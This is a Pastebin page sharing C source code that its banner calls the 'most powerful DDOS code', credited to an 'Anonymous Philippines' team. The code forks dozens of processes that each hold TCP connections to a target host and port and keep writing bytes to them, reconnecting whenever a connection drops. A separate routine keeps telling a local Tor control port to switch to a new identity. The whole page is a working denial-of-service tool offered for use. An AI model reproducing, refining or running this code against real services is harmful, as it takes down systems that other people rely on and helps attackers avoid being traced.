Advertisement
juananon

DDOS SOURCE CODE

Jan 25th, 2013
10,140
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 3.51 KB | None | 0 0
  1. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  2. =======================================
  3. ^^ HELLO  EVERYONE THIS CODE IS FOR  ^^
  4. ||    MOST POWERFUL DDOS CODE        ||
  5. ||       BY : JUAN DELA CRUZ         ||
  6. ||     ANONYMOUS PHILIPPINES         ||
  7. ||     TEAM: COD3X & HACK PRO        ||
  8. ^^                                   ^^
  9. =======================================
  10. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  11.  
  12. #include <stdio.h>
  13. #include <stdlib.h>
  14. #include <string.h>
  15. #include <stdint.h>
  16. #include <unistd.h>
  17. #include <netdb.h>
  18. #include <signal.h>
  19. #include <sys/socket.h>
  20. #include <sys/types.h>
  21. #include <netinet/in.h>
  22. #include <arpa/inet.h>
  23.  
  24. int make_socket(char *host, char *port) {
  25.         struct addrinfo hints, *servinfo, *p;
  26.         int sock, r;
  27. //      fprintf(stderr, "[Connecting -> %s:%s\n", host, port);
  28.         memset(&hints, 0, sizeof(hints));
  29.         hints.ai_family = AF_UNSPEC;
  30.         hints.ai_socktype = SOCK_STREAM;
  31.         if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {
  32.                 fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));
  33.                 exit(0);
  34.         }
  35.         for(p = servinfo; p != NULL; p = p->ai_next) {
  36.                 if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
  37.                         continue;
  38.                 }
  39.                 if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
  40.                         close(sock);
  41.                         continue;
  42.                 }
  43.                 break;
  44.         }
  45.         if(p == NULL) {
  46.                 if(servinfo)
  47.                         freeaddrinfo(servinfo);
  48.                 fprintf(stderr, "No connection could be made\n");
  49.                 exit(0);
  50.         }
  51.         if(servinfo)
  52.                 freeaddrinfo(servinfo);
  53.         fprintf(stderr, "[Connected -> %s:%s]\n", host, port);
  54.         return sock;
  55. }
  56.  
  57. void broke(int s) {
  58.         // do nothing
  59. }
  60.  
  61. #define CONNECTIONS 8
  62. #define THREADS 48
  63.  
  64. void attack(char *host, char *port, int id) {
  65.         int sockets[CONNECTIONS];
  66.         int x, g=1, r;
  67.         for(x=0; x!= CONNECTIONS; x++)
  68.                 sockets[x]=0;
  69.         signal(SIGPIPE, &broke);
  70.         while(1) {
  71.                 for(x=0; x != CONNECTIONS; x++) {
  72.                         if(sockets[x] == 0)
  73.                                 sockets[x] = make_socket(host, port);
  74.                         r=write(sockets[x], "\0", 1);
  75.                         if(r == -1) {
  76.                                 close(sockets[x]);
  77.                                 sockets[x] = make_socket(host, port);
  78.                         } else
  79. //                              fprintf(stderr, "Socket[%i->%i] -> %i\n", x, sockets[x], r);
  80.                         fprintf(stderr, "[%i: Voly Sent]\n", id);
  81.                 }
  82.                 fprintf(stderr, "[%i: Voly Sent]\n", id);
  83.                 usleep(300000);
  84.         }
  85. }
  86.  
  87. void cycle_identity() {
  88.         int r;
  89.         int socket = make_socket("localhost", "9050");
  90.         write(socket, "AUTHENTICATE \"\"\n", 16);
  91.         while(1) {
  92.                 r=write(socket, "signal NEWNYM\n\x00", 16);
  93.                 fprintf(stderr, "[%i: cycle_identity -> signal NEWNYM\n", r);
  94.                 usleep(300000);
  95.         }
  96. }
  97.  
  98. int main(int argc, char **argv) {
  99.         int x;
  100.         if(argc !=3)
  101.                 cycle_identity();
  102.         for(x=0; x != THREADS; x++) {
  103.                 if(fork())
  104.                         attack(argv[1], argv[2], x);
  105.                 usleep(200000);
  106.         }
  107.         getc(stdin);
  108.         return 0;
  109. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement